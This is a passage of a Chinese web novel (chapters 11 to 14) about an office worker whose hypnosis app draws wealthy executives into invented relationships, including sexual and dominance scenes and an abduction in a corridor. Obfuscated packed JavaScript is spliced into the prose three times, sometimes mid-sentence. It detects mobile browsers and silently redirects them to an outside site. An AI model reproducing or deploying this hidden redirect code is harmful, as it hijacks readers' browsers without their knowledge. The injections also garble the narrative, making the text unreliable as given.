虽然表现的冷硬,但其实回话就已经耗尽了他全部力气,简清安完全不知道该做什么,只靠仅存的理智驱使回答。 他也完全不知道该怎么摆脱这个家伙。 简清安紧张得不知所措,一时间连着眼眶都微微发热,还是不住败下阵来,别过视线,呼吸紊乱了一瞬。 他很不甘心,那么多次危机他都处理好了。 难道这次就要栽在这了吗—— 没想到简清安听见对方低声开口道: “果然好手段。” 简清安一怔,脑海中缓缓浮现问号。 但周晟铭异常笃定地看向他,像是确认了什么。 他似乎明白了,为什么机器一样的裴则遇会被对方吸引。 完全不知道他在胡言乱语什么的简清安:…… 但周晟铭已经退后半步,回归到正常社交距离。并且分明自始至终连身体接触都没有,但他已经伸出手慢条斯理地整理衣衫,像是做着什么事后清理工作。 他低眸,漫不经心道: “如果哪天裴则遇玩腻你了,欢迎你入职帝盛。 “我可以给你开两倍工资。 “——当然,只是普通在职员工的工资。” 他的潜台词很清楚,裴则遇哄情人的待遇他这里没有,他也只是来招员工的。 并不需要他当情人。 简清安听着这不知道算不算羞辱的话,磨了磨后槽牙,最终还是忍了下来。 “感谢周总赏识,我暂时没有跳槽……” “的意愿”三字隐没在咽喉。 对方这次依旧没有等他说完,就转身离开了。 不知何时搭配的卡其色大衣衣摆划出利落恣意的弧度。 只是没想到对方走出两步,又忽然停下脚步,没有回头说: “对了,休息室隔音好像不太好。 “需要我帮你们把二楼清场吗?” 等会儿做的动静太大,被人发现“特殊关系”就不好了。 简清安听到这句话本该感到羞辱,但事实上,他生气到极致反而平静了下来: “不用了,今天酒会的来宾都很遵从社交礼仪。 “我觉得很难出现第二个偷听到没底线的。” -- 裴则遇醒来时,脑袋还在犯晕。 他起身时,察觉到身上有什么滑落至腿间,但眼前视野朦胧,加上还没醒酒,反应不过来。 紧接着,他看见视线中出现了两道身影。 一道他很熟悉,是常盛的。 另一道有些陌生……但最近也稍微熟悉了一些。 是简清安。 他们都关切地看向自己,而最先开口的是常盛。 “裴总,你感觉如何?” 裴则遇抿着唇,在缓神。 显然,他也很难接受自己会在这种地方喝醉的事实。 他尝试回忆自己喝醉的缘由,却怎么也回忆不起来,只能依稀记得自己好像有些难过。 但他为什么难过,毕竟他甚至连这样的情绪都很少产生。 而喝酒前与周晟铭的会谈,最后也是以对方退让的结局告终。 大获全胜的情况,他为什么要难过。 裴则遇不明白,并且他的酒量一向很好。 这就说明他没有什么喝醉的经验,不知道自己醉酒后会干出什么事来。 “还好,就是还有点晕。” 裴则遇答完,就有些奇怪地看向简清安。 因为他不清楚对方怎么在这里,照顾自己的任务怎么也不会安排到他的头上。 常盛似乎察觉到裴则遇的视线,内心也微微疑惑,试探性开口道: “裴总,你醉酒时简清安很认真地在照顾您,解酒药也是他找的。” 听罢,果不其然,裴则遇蹙起了眉: “简清安?是他照顾的我……?” “您指定的,裴总。”常盛答。 裴则遇这时候才发现,刚刚起身时滑落到腿间的是一层暖和的软毯,并且他的衬衫领口出现了不少褶皱,领带的系法也区别于他自己和常盛。 好像有些歪,是简清安系的吗? 他的脑海中浮现了些他醉酒后与简清安在一起的几个画面,很模糊,很短促,似乎他在拉扯着青年,对方后续又搀着他,到沙发又怎么…… 无法拼凑成连贯片段,也记不得当时具体做了什么。 但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427103|200887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎依稀还记得,接触青年时的触感,以及对方隐约的气息温度…… 这一连串的事情串联起来,加上尚未清醒的大脑,让裴则遇内心莫名产生了些情绪。 他不清楚是无措还是羞耻混乱,按理说他也不应该产生这样的情绪。 最后只能哑着声说一句: “辛苦了。” 这落在常盛眼中就是匪夷所思了。 他原本以为裴总又是让对方参加酒会,又是在酒会中盯着别人,后续醉酒了又让他上来照顾…… 至少,可能,有那么点点感觉。 毕竟一开始他也以为裴总只是纯粹想提拔人才,后续才发觉那点微妙。 可,可现在裴总的反应是怎么回事。 当时让他去找简清安过来时,可不是——好像也是这副性冷淡的模样。 但他跟在裴总身边那么久,当时是感受到,裴总话语里的情绪有微妙不同了。 难道他察觉错了?其实裴总对对方没那个意思? 而在一旁始终安静的简清安轻垂着脑袋。 是的,摆脱掉周晟铭后,他就去找酒会工作人员问了解酒药,后续又去找了常秘书。 因为如果裴则遇清醒过来,他和常秘书一起出现,显然能更好地让他进行“认知补全”,降低事情暴露的风险。 如果裴则遇还处在催眠状态,先前也答应过他“不公开恋情”,所以在常盛面前也不会表现出异样。 当然,幸运的是,裴则遇已经恢复了清醒。 看样子,也是遗忘了先前被APP催眠的记忆。 裴则遇想尝试起身,但发现晕眩感还在持续后,就打消了这个念头。 “常盛,你留下来,”裴则遇拇指指腹揉了揉轻跳的太阳穴, “有些事还需要讨论一下。” 说着,裴则遇又看向简清安,张了张唇,嗓音似乎有一瞬喑哑,最后还是道: “你可以先回去,剩下半天带薪放假,如果需要回公司,打车公司财务部报销路费。” “好的,裴总。”简清安从善如流,同时悄悄观察着裴则遇,也松了口气。 看来这关也算是过了。 只不过,看着因饮酒过量,难得有些失态的裴则遇,简清安犹豫了半秒,抿着唇,还是说一句: “注意身体,裴总。” 话语出来后,简清安又有些恍惚,不明白自己怎么莫名其妙又多嘴这么一句。 但最后还是开解自己,想着下属偶尔关心一句上司,也很正常。 -- 出来休息室时,简清安心里还是有不小的压力。 周晟铭那件事始终压得他透不过气。偏偏对方又是和他不在一个世界的帝盛集团太子爷,他就算有满腔的情绪,也使不到对方身上分毫。 他只能祈祷那位大少爷只是一时兴起,他要是来找麻烦,商不商战不知道,反正自己工作肯定是丢了。 至于对方承诺的那份offer?可笑,谁会将太子爷的玩笑话放在心上。 压抑的情绪一时间排解不了,简清安干脆在二楼走廊逛了起来消解烦闷,时不时俯瞰着一楼快要散场的酒会大厅。 他不住感慨着这富丽堂皇的景象,也不知道下次再见到这种场面会是什么时候。 而就在他逛得差不多,准备沿路返回一楼大厅时,一个恍神的功夫,他的口鼻就被一块绸布死死地捂住,双手手臂也被强大的力道瞬间钳制住。 简清安瞬间瞪大眼睛,第一时间是不敢相信有人会在这种规模的会场突然袭击,但在反应过来后也是拼命挣扎。 但双方的力量过于悬殊,并且对方似乎在力量的搏斗方面很有经验,在背后轻而易举地就钳制住了他,把他往另一个房间拖去。 酒会已经散场,二楼更是冷清到没人,简清安只能眼睁睁地看着自己被带走,同时也悔恨自己三天打鱼两天晒网地蹭公司健身房,最后也没锻炼出个什么成果来。 不过他脑中飞速运转地想,对方为什么要绑他? 这也是商战吗? 还是来劫财,亦或是劫色的? ——难道自己遇到性骚扰了?! 所以当简清安被拖入房间,意识到对方松开手后,还没匀过气来,就转身狠狠地给了对方一巴掌。 清脆响亮的一声,那一下震得他掌心都发疼,眼眶险些飙出眼泪,但还是气愤地盯着面前的家伙,准备找时机再给对方脆弱部位来上一脚。 结果看清面前是谁后,简清安大脑宕机了。 他那巴掌用的力道不小,掌心隐隐发麻发烫,自然也给对方脸上留下了不小的痕迹。 而他的脸也被自己扇到一侧,始终打理得精致完美矜傲的浅棕发丝终于散乱了,垂了几缕到额角,凌乱地掩住了他翻涌的眸光。 而那张鬼斧神工的侧脸,此刻也鲜明地留下了五道指痕。 简清安是茫然了,彻底茫然了。 怎么会是他? 周晟铭? 他为什么要突然把自己绑来这里,有什么目的吗? 但现在简清安心里是无限的紧张和后怕。 他刚刚是扇了对方一巴掌吗。 用的力道还不小,不会把他扇成脑震荡吧。 他这算正当防卫吧,他可赔不起帝盛集团太子爷的医药费啊—— 他不会被丢去灌水泥沉海吧? 就在简清安脑子里被乱七八糟的思绪填满时,他扇巴掌的那只手却被对方缓缓扣住,然后一点一点抬起。 简清安过于震惊,居然一时间都忘记反抗。 直到他的指骨逐渐贴上周晟铭那张矜贵俊美的脸,覆住刚刚自己扇的五道指痕。 随后周晟铭抬眸看他,深琉璃色的眼眸里,有种难以言喻的,复杂和……渴慕? 周晟铭的发丝落到额间,眸光透过发丝直勾勾落到他的面庞,而后低低启唇说一句: “求你再打我一次, “主人……” 12. 第 12 章 如果沉默是有声音的话,简清安想,那应该是震耳欲聋的。 他用的力道不小,甚至可以说很狠,现在掌心连着指尖都在发麻发烫,就那么贴在周晟铭那张看起来很薄很精致的皮肉。 像是触电一样。 特别是配上周晟铭此刻俯身,又渴慕抬起的,直勾勾盯着他的不加掩饰的欲望视线。 是卑微,还是侵略,他不清楚。 双脚被钉在原地,简清安居然一时间冒出了个荒谬的想法—— 自己这个底层员工敲键盘的手,也是扇上了帝盛集团太子爷昂贵的脸皮。 而转眸,也果不其然地看见了一段文字, 【检测到适合用户的优质成年男性【周晟铭】,正在进行绑定……】 【绑定成功!】 【已进行催眠——】 即便简清安已经习惯了催眠APP的延迟,此刻内心也有些无言的绝望。 没想到还是没躲过。 也是,自己一天内和周晟铭撞见三次了,APP再不出手他都要觉得反常了。 只是简清安也没想到,自己在短短一天内和同一个人撞见三次,居然能每次都是那么惊悚的场面。 第一次他在休息区查看APP时,对方悄无声息出现在他的身边。 第二次在他在休息室被迫处理裴则遇的催眠状态时,推开门对方在门外偷听。 第三次直接把自己强行绑过来,然后…… 简清安低眸看着周晟铭,自己的指骨覆住了大部分的痕迹,但仍有隐约糜红露出。 刚刚他在看清周晟铭面容时,自然看见了自己扇出的指痕。 他承认,殷红的掌印出现在那张俊美的脸时,不仅没有滑稽的感觉,反倒更增添了几分引人凌虐的美感。 但—— “你,叫我什么……?” 简清安怕周晟铭。 各种层面上的。 其中最大一点便是,如果是裴则遇和陆宇炀,他还有隐藏的可能。 但如果是周晟铭,今天他和对方在走廊拉扯,要是不留神被某处的狗仔捕捉到,第二天他就会在整个A市面前出柜。 标题还是#劲爆帝盛集团太子爷周晟铭新秘密情人的色.情首曝!!!# A国全面推行同性可婚还没几年,简清安循规蹈矩二十多年,即便要暴露自己的性取向,理论上他也应该做出最合理最完善的计划。 而不是作为周晟铭的“新情人”被全国知晓。 豪门太子爷多一条花边新闻没什么,大家都不会认真。但他可不希望自己承受太多异样的目光,破坏他以后的平静生活。 周晟铭没有回答他的问题,只是俯身低眸,扣着对方手掌的指节轻翻,琉璃色的眼眸凝着泛红的白皙掌心,怜惜地落下一吻道: “是打疼了吗? “抱歉,主人,是我太莽撞了。 “那今天的惩罚是让我跪着服务您,还是全程不允许我释放?” 简清安听到他的回答,身体不由得一僵。 其实他刚刚不是没听清周晟铭的称呼。 相反,在看清脸的刹那,对方说出的每个字都像是直落在他的心脏,令他无法忽视。 他听得异常清楚。 只是不敢确认。 所以他选择了唯唯诺诺地又问一遍。 而现在的简清安也一时间无法回答,脑海中无数混乱的想法纷至沓来,最后仿佛要预见到被抓拍的媒体新闻上,出现某些特殊的字母—— 简清安力竭了,他不知道APP又给他安排了什么关系,犹豫几秒,还是想尽量让事情回归可控范围道: “你……别叫我主人。” 因为对周晟铭的态度不确定,所以简清安的语气始终是谨慎的试探。 只是话音刚落,简清安就意识到,这或许是他今天做的最错误的决定。 空气间陡然默了几秒,简清安像是瞬间察觉到危险的弱小动物,小腿肚无可控地打颤,只能强压下退后的欲望;当他控制不住地低眸看去时,他见到周晟铭那张始终挂着完美表情的脸,似乎出现了些许裂痕。 那是他从未见到的。 周晟铭似乎在什么状态下都是完美无瑕。 此刻也只是从轻笑变成了面无表情,但简清安却感觉有什么从腰身缠到了他的脖颈,在喘息中,呼吸的权利逐渐被剥夺殆尽。 对方白皙的面庞暗了下来,褪去了最初的渴慕,眸光闪烁间仿佛在考量什么。 随后,周晟铭几乎没有弧度地挑起唇角,轻移视线,将目光锁在他的脸上,极轻的开口,却确保每一个字对方都能听得清晰道: “你从未对我下过那么重的惩罚,” 简清安听不出他的语气,却感觉每个字都像是对方扼住他的咽喉被迫咽下去般, “差点就让我以为,你玩腻我了, “想轻易就撇清关系。” 周晟铭缓慢直起身子,压简清安大半个头的身高,覆下的阴影有种将人骨头一寸寸敲碎,再彻底吞吃殆尽的错觉。 他笑着,说: “你不会这样的,对吧。 “简清安。” 疯了。 简清安恍惚间有一瞬的濒死感。 空气像是被一寸寸地抽走,呼吸间都是难以言说的窒息。 恐惧到眼眶发热的感觉又一次袭来。 简清安意识到自己犯了一个很大的错误。 或许是周晟铭最开始表现得太顺从,让他忘记了, APP只是给他们编造了一段新的关系。 并不代表完全抹除了对方先前的身份和行事作风。 他不应该在没探清情况前就草率地做出决定。 但简清安不甘地咬唇。 凭什么,他连尝试反抗都不行吗。 即便简清安想要努力地冷静下来,但是腿还是止不住发软。 只不过恐惧总能使得人大脑转得很快,简清安落下的眼睫微颤,过了几秒,像是做了什么决定,将指骨抬起,拽住对方领间的香槟色领带就狠狠一拉—— 像是扯狗链一般。 周晟铭险些踉跄,稳住身体后被迫俯下身来。 有没提前预料到的缘故,但更多的是没有反抗的意愿。 简清安手动得比脑子更快,意识到自己真踏出这一步后,拽着领带的指节其实有瞬间微颤的发凉,但他还是控制住了自己的无措,故作冷静地问出: “为什么突然把我拉过来。” 周晟铭显然是没预料到他会有这样的举动,也没想到会被这样质问,一时间哑了声,先前的气势消了大半: “我……” “你嫉妒了。” 简清安的声音很轻。 但他似乎是很笃定地说出这句。明明是质问的语句,却被他念得平静无比,反倒多了几分无可辩驳的底气来。 ——但其实是简清安紧张状态下,除了最惯常的故作平静,再也没办法伪装出其他情绪来。 周晟铭听罢默了几秒,喉结不明显地滚动,而后低声开口道: “是,我是嫉妒了。 “你上次联系我,是43小时36分24秒前…… “昨天白天是裴则遇,晚上是陆宇炀,今天的档期怎么也该到我了。 “结果在我主场的酒会,你却和裴则遇在休息室厮混,你那里还装得下我吗? “凭什么轮不到我呢。” 简清安被他一连串的话打得有些懵,却敏锐地捕捉到了那串数字。 ——43小时26分24秒……? 他依稀记得,现在是下午的三点多。 也就是说,APP剧本中的自己上次联系对方,是在前天晚上八点多? 昨天他早上加晚上足足“忙活”了一整天,结果就在前天晚上还能和周晟铭进行联系? 他的档期排得那么满? 不是,这个设定不合理吧?他真的是因为裴则遇索求过度才离开他的吗? 总不能裴则遇原先的欲望能顶三个人吧。 在头脑风暴到底是裴则遇一个更比三个强,还是其实他才是那个索求无度,还疑似厌倦裴则遇才“出轨”的存在时,简清安意识到一个很严重的问题。 周晟铭知道裴则遇和陆宇炀的存在。 那他知道裴则遇和自己“已婚”吗? 他是心甘情愿当“小四”……情人的? 裴则遇应该是不知道自己那些“乱七八糟”的关系,否则以他APP的占有欲偏执狂的性格,不可能按耐得住。 那陆宇炀知道周晟铭的存在吗? “小三”知道“小四”的存在好像也没办法做什么吧…… 不行,好乱。 简清安觉得自己得回去拉个人物关系图。 他没想到自己单身二十多年没谈过恋爱,第一次“谈恋爱”就谈关系需要拉图表的。 简清安看似很冷静,其实人走了有一会儿了。 只是他还记得维持住云淡风轻的模样,脑海中构思好的语句在咽喉转了又转,最后似乎从未将对方的不甘放在心上,启唇道: “哦, “我允许你嫉妒了吗,周晟铭?” 简清安移开了视线,舌尖局促地掠过唇瓣,掩饰住自己因为不熟练带来的心虚。 也意外错开了,周晟铭因为他的话,而微微扩大的瞳孔。 简清安指节隐秘地捏着衣角,低下眸来。 扣“嫉妒”罪名这招是APP教的, 话术是从裴则遇那边现学的。 他也不清楚有没有实践好…… 而在他这句话出来后,旁边也浮现出新的文字来。 这点简清安已经稍微清楚了,是互动之后才会出现的“恋爱任务”。 ……看来他实践得还不错。 简清安也不知道自己该不该高兴。 只是当他看清任务文字后,他的眼眸还是控制不住地一点点地睁大—— 【任务一:最近的周晟铭变得越来越不符合你的心意,认不清自己的位置。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427104|200887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【所以你决定今天让他认知清楚自己口口的地位。】 空气滞了半秒,随后两个“口口”不断闪烁,似乎是发现词汇显示不出来了。 只能“退而求其次”地显示—— 【让他认知清楚自己下贱的地位。】 简清安沉默了几秒,也不想去想什么词比“下贱”还要严重,严重到无法显示。 他回过神来后,便听见耳旁周晟铭连续而压抑的低喘。简清安余光一瞥,看见他的下眼睑微微泛着红,在薄白的皮肤上特别明显,像是被什么刺激得兴奋难耐。 简清安指骨下意识一怔,攥着领带的手就松了开来。 他的大脑一时间也被这个任务冲击得空白,即便他再不愿意,无数上不得台面的画面也入室抢劫般占据了他的思绪。 而等简清安回过神来,他的身体已经很诚实地拉开了与周晟铭的距离,避到了一边的米白色沙发。 简清安暗暗唾弃自己逃避的举动,却也觉得自己坚持到现在已经不容易了。 ——让帝盛集团太子爷认识到自己下贱的地位……到底怎样失智的精神状态才能编造出这样的梦话。 然后简清安又想到他第一次被周晟铭气到时,曾在心里闪过诅咒他未来跪下来痛哭流涕地给自己当狗的念头。 简清安默了几秒,悄悄觑了眼周晟铭,发现对方没什么反应后,有些脱力地坐在沙发上。 结果下一秒周晟铭就黏了过来,乖乖跪在沙发前的软毯,侧着脸趴在他的腿边,很顺从地抬眸望他。 简清安一低眸看到的就是这一幕,喉头不由得一哽。 而且换句话说…… 周晟铭现在还不够“下贱”吗? 而周晟铭用脸贴了贴他的腿肉,眯起眼睛,很低地问一句: “那,惩罚到什么时候才结束?” 简清安听到他的话语,反应过来,他问的是“不能叫主人”的“惩罚”。 简清安想了一想,试探性地伸出手,指腹按住周晟铭被他扇红的侧脸,轻轻揉了揉。 周晟铭眯起了眼,鼻腔呼出的气息急促了些,伴随着时不时的抽气声,不知道是疼的还是爽的。 简清安也不知道这样做对不对,反而有些忐忑地垂着睫,但理智还是维系着他去尝试推动任务道: “你一直,都是那么任性地索求东西的吗……?” 周晟铭——APP没有明说自己与他的关系,他只能进行猜测, 对方或许是他的情人,还是地位比较低的那种。 “没有……” 简清安揉捏的动作停了,周晟铭也很委屈地睁开了双眸,语调低低的,尾调被拉得很长,像是一只娇矜可怜的猫。 简清安忽然福至心灵,问了一句: “你嫉妒,就是因为我和裴则遇在一起?” 周晟铭这次回答得很快,略低着眼眸: “我是酒会的主办方,这里算是我的主场。 “而且……当时,我是第一个走向你的。” 裴则遇把你抛在了一边。 就算论“先来后到”,接下来找的也应该是他。 简清安明白了。 周晟铭在自己这里姿态摆得很低。 但他的做法却完全与之矛盾。 因为是所谓“主场”,并且他是第一个主动过来的,就理所应当地向自己索取相处机会,甚至不顾他的意愿把他强行绑来这里。 在APP设定的关系中,他的地位也是不该做出这种“越界”的举动的。 所以才会有了让他“认清自己地位”的任务。 这样的话,只需要让他清楚一件事就好了吧。 始终得不到答案的周晟铭很焦躁,刚想再问一次,简清安便忽然抬起右腿,薄底皮鞋的鞋尖随之轻滑,不轻不重地蹭过他胸膛的西装布料。 周晟铭身体僵住了,下意识绷紧胸膛的肌肉,呼吸逐渐失控。 简清安交叠着双腿,指节勾着镜架,不紧不慢地取下眼镜,笑着对他说: “我忽然发现你的胸针很漂亮。 “多少钱买的?” 周晟铭完全被简清安取下眼镜的姿态晃住了。双眼直勾勾地盯着那双琥珀色的眼眸,脑海中不知在想什么,咽喉不自觉地滚动,完全没在意对方如此直白的话语,只是说: “286万……美元,” 说完,他顿了半秒,指节抬起摸向胸针,预备将它取下, “如果您需要的话……” 周晟铭的动作忽然一滞。 他感受到什么冰冷的,坚硬而柔韧的触感,略重地碾上他前胸的胸针。 连同他准备取下胸针的食指与无名指。 微微泛着酥麻的疼意。 陌生的触感,似乎在他模糊的记忆中,他从未被人这样对待过…… 是简清安,他踩上了自己的胸膛。 耳旁是青年落下来的,很轻的,却毫不在意的话语: “哦,我的意思是, “你也配戴啊,周晟铭。” 13. 第 13 章 薄底的深灰皮鞋,是简清安最近买的新款。 在A市普通人中能博得一份浅薄的体面,却在真正的上层圈子引起不了任何视线。 穿了几天,鞋底无可避免地沾染脏灰,此刻却随意地碾过别人的胸膛,踩着象征着上流圈层的昂贵装饰物。 简清安取下眼镜,是因为连他自己都心虚。 至少轻度近视可以模糊他的视线,让他不用面对着4k高清的让人想要逃避的现实。 他做到了。 踩上去了…… 当他收回腿时,忍不住悄悄眯了眯眼,想凝眸看看自己有没有把上面的钻给踩掉。 但他也不住暗戳戳地想,当时害他没了两个卤蛋的胸针,现在也是报复回来了。 周晟铭被他的举动弄得怔在原地,很久,很久,他才回过神般,缓缓眨了眨眼。 “你说得对,简清安先生。 “是我不配……” 周晟铭的语气很低落,但简清安看见他在颤抖,脊背在轻颤,连剪裁得当的硬挺西装布料都掩不住他的身体反应。 简清安茫然之际,瞥到了对方某处很明显地鼓了起来。 他沉默,他不解,他逃避似的挪开视线—— 也终于看见了任务完成的提示。 简清安猜到了。 达成任务的条件,或许就是, 让周晟铭认知到,在这段关系之中,他的所有价值是由自己赋予的。 他要他下贱,他就必须下贱。 任务完成了,但周晟铭依旧没有恢复清醒的迹象。 只是简清安觉得他如果有条尾巴的话,现在估计已经飞快地摇了起来。 虽然自己很想让他去处理一下越来越明显的某处…… 但周晟铭好像丝毫不在意,简清安也只能装作看不到了。 简清安琢磨着应该又是一次延迟,只敷衍地挠了挠他的下巴,对方也很配合地乖巧仰起头颅。 他每天忙得没时间养宠物,但撸朋友家的狗好像就是这个手法。 应该……差不了多少吧。 只是简清安还是忍不住捏着对方的下颌,垂眸间仔细地观察了一下他的面庞。 明明看起来很薄的皮肤,刚刚用那么大劲扇的印子居然已经消了大半。 也不知道是不是皮糙肉厚。 简清安的指腹不住搓了搓他脸颊的肌肤,发现对方真的没有上妆。 那么精致一张脸居然真的是纯天然的。 这让简清安想起自己某次经过报刊亭时,看见某本八卦杂志的封面是周晟铭,那张脸死死地抗住了怼脸般放大的镜头,只是画面有些模糊,像是抓拍的。 他看到有不少经过的路人都忍不住买了一份。 他后来随手翻看了一下,其实杂志里关于周晟铭的消息没多少,就是蹭了个帝盛集团分公司边边角角的采访,然后抓拍了一张周晟铭的照片,直接把脸放大摆在杂志封面当引流了。 虽然简清安觉得这个手段很下作,但作为引流手段确实很高明,毕竟那张脸摆在那里都是赏心悦目,名字一加更是自带爆款词条。 简清安揉捏着柔韧的脸皮,左右审视研究了一番,发现了一个天妒人怨的事实—— 对方这张脸不仅上镜很能打,实物更是好看到没边了。 啧,造物主怎么能同时将身份地位和美貌一并给了对方。 简清安又不住回想起他刚刚差点被周晟铭抵到门边的姿态,有些悲痛欲绝地想, 甚至……还有身高。 完成任务后简清安紧绷的神经放松了不少,一时间也没意识到自己拿着无数媒体追捧的“唯一实物”在手上肆意研究的姿态。 直到周晟铭的喘息声越来越重,隐忍地别开脸说: “可以……先别看了吗?” 好像被玩生气了…… 简清安意识到什么,有些怯怯地收回了手。 “我的限度好像就到这了,下次再训练吧,”周晟铭垂下自己很优越的长睫,颇为可怜地说, “要爆了……” 某处,和他的理智一并。 简清安不说话了。 而周晟铭控制着喘息,余光忍不住看向简清安。 被那双眼睛,以最极致的物化的姿态审视着,仿佛在随意评价他的脸的价值,度量着这点分量可以换取多少他的愉悦和施舍。 他被这种视线看到,兴奋得快要失去理智了。 周晟铭闭上眼睛,额头一点点抵在简清安的腿边,摆出很依恋的姿态。 也是因为只有他能让自己感到这样的愉悦,所以他才愿意以这样的姿态待在他的身边…… 他还记得第一次和简清安见面时,他们都喝醉了,只有自己还维持着部分理智。 所以进去时,他听见简清安叫的是别人的名字。 他明白,对方喝醉后认错人了。 但他已经舍不得退出了。 等简清安清醒后,自然而然地想把他甩开,当他挽留时,对方从外套夹层里拿出了他的婚戒。 他不愿意放手,并且他看见对方指节上根本没有戒指的环痕,显然不是最近才取下的,应该是经常不戴。 对方的婚姻可能也就那么回事。 于是他提出他可以当小三。 但是对方还是没同意。 他只记得他那时就像是饿了很久后,终于被人好好喂了一顿的流浪狗,满脑子只有以后会不会见不到对方了,会不会再也没有可能被喂饱了…… 会不会再也接触不到这样的温暖了。 就算不带回家,就算不能经常投喂…… “那你把我当玩物吧……偶尔来玩一下我就好了。” 他记得他当时这样说的。 简清安松口了。 后来他才知道,青年的婚姻果然如他想的一样破裂。 但他来得太晚了。 小三的位置都没了…… 简清安觉得周晟铭还是闭上眼睛乖。 嗯,也很安静。 他把眼镜戴上后,世界果然清晰了许多。 刚刚果然是没戴眼镜,他以为自己在玩模型呢,原来是实物啊,失敬失敬。 简清安脸不红心不跳地在心里开脱了自己的“罪名”。 他估计着时间应该差不多了,好在这次没有多混乱,不用他收拾一遍“案发现场”。 只是,某个有些好奇的疑虑,缓缓出现在他的脑海。 正常情况他肯定没有机会问到,也不可能得到答案。 但是现在…… 简清安心想着时间不多了,于是还是问出: “‘融辉’那个项目,你为什么故意不配合?” 简清安问出这句话时心脏还是狂跳的。 毕竟他做梦都没有想过,有一天他会直接问对面的项目负责人,为什么不配合自己的项目。 甚至对面还是帝盛集团的太子爷。 但这个项目关系到他的年终奖,有机会知道情况,他肯定会一探究竟。 周晟铭睁开了眼,蹭了一蹭: “不是故意不配合……背后的原因有点复杂。 “其实算来,算是我和裴则遇的博弈, “简清安先生。” 简清安倒也是猜到了几分,毕竟又是项目空降的负责人,刚刚在酒会现场针锋相对的火药味又那么明显。 “那你胜了吗?”简清安问得很直接。 趴在简清安腿边的周晟铭表情僵住了。 简清安看明白了,有些无奈地轻踢了他一脚: “既然输了,那就回去好好推进项目。” 周晟铭不满了。 “这你也要偏心裴则遇……” 简清安无奈到有些咬牙切齿: “帝盛集团周总周太子爷,你影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427105|200887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到我的年终奖了。” 周晟铭很委屈: “年终奖比我重要……?” 简清安默了。 他没想到有人能那么自取其辱。 集团太子爷多有钱都与他无关,钱又不能到他的手上,胸针就算给他他也不敢拿…… 但年终奖是自己实打实的到手的利益。 那是自己脚踏实地的劳动成果……! “你倒是……”,简清安话顿了一顿,最后还是没有把那个“自取其辱”说出来,而是换了一个程度轻点的词, “很会自欺欺人。” -- 简清安出了休息室,松了一口气。 他最不希望发生的情况还是发生了,他的确也应对得焦头烂额的。 但不管怎么说,也是勉强过了这关。 而且现在周晟铭也被催眠APP拉下水了…… 那两边的“商战”是不是能达成一个诡异的平衡。 简清安脑中胡思乱想着,指节搭在自己的手臂上,莫名有点发怔。 因为就在他准备离开前,周晟铭从身后环住了他的腰,低低地说下个月他会举办一个很盛大的游轮派对,问他能不能过来。 他第一反应肯定是拒绝。 先不说到时候周晟铭的状态是清醒还是被催眠,这种风险那么高的明知山有虎的情况,他也不可能向虎山行。* 但周晟铭说,帝盛有意向与恒讯进行新的项目。 这招确实太卑鄙了,简清安想。 有机会他不可能不争取。 但简清安也有些茫然。 因为他不清楚自己现在到底算不算…… “潜规则上位”。 简清安脑海中翻了翻对“潜规则上位”的定义,好像是用身体换取原本不属于自己的资源。 定义一出来,简清安更沉默了。 他苦恼纠结地抓了抓头发,觉得自己现在也不需要焦虑太多。 催眠状态下的话语不一定管用,说不定周晟铭清醒就忘记了。 他先解决手头上的事情吧。 比如……先去把西装还了。 -- 既然报销车费,简清安肯定打了专车回公司。 庆幸的是裴则遇好像还没回来,于是简清安很自然地装作送东西就把装着西装的纸袋给塞回办公室了。 心头大石落下,而剩下半天是带薪放假……虽然被周晟铭一折腾,回到公司也差不多到下班时间了。 不过常秘书还特意发消息给他说,酒会耽误没做的工作,他会帮忙分配给其他同事,让他不用担心。 在酒会上完成了大部分工作的简清安:…… 看来有时太社畜也不太好。 住所离公司近,好处就是通勤时间很短,再加上今天是周五,明后两天双休,简清安很难想到世界上有比这还幸福的事情了。 从公司离开,回到住所的小区。在楼下等电梯时,简清安还想着计划周末的安排,听说最近有部他感兴趣题材的商业片上了来着,口碑还算不错…… 他想暂时逃离APP的影响,沉浸进别的故事似乎是个不错的选择。 就在简清安思考之际,忽然听到“咚”的一声闷响—— 他茫然转眸看去,先映入眼帘的是一头张扬恣意的红毛。 往下便是一双浅棕色的很清澈的眼眸,眼尾微微上挑,眼型介于圆钝和丹凤眼间。 此刻疼得微微眯起来,眼眶都泛着乍出的晶莹,俊美清朗的脸被双手掩了大半,捂着鼻梁低低抽气。 是陆宇炀? 他怎么撞到门口的玻璃了? 而在陆宇炀快疼出眼泪时,似乎注意到了简清安望过来的视线,就在对视的半秒后,他的双眸瞬间睁大,立即就别过了脸。 懵在原地的简清安只看见了他炸红的一侧耳尖。 像是被烫得厉害。 14. 第 14 章 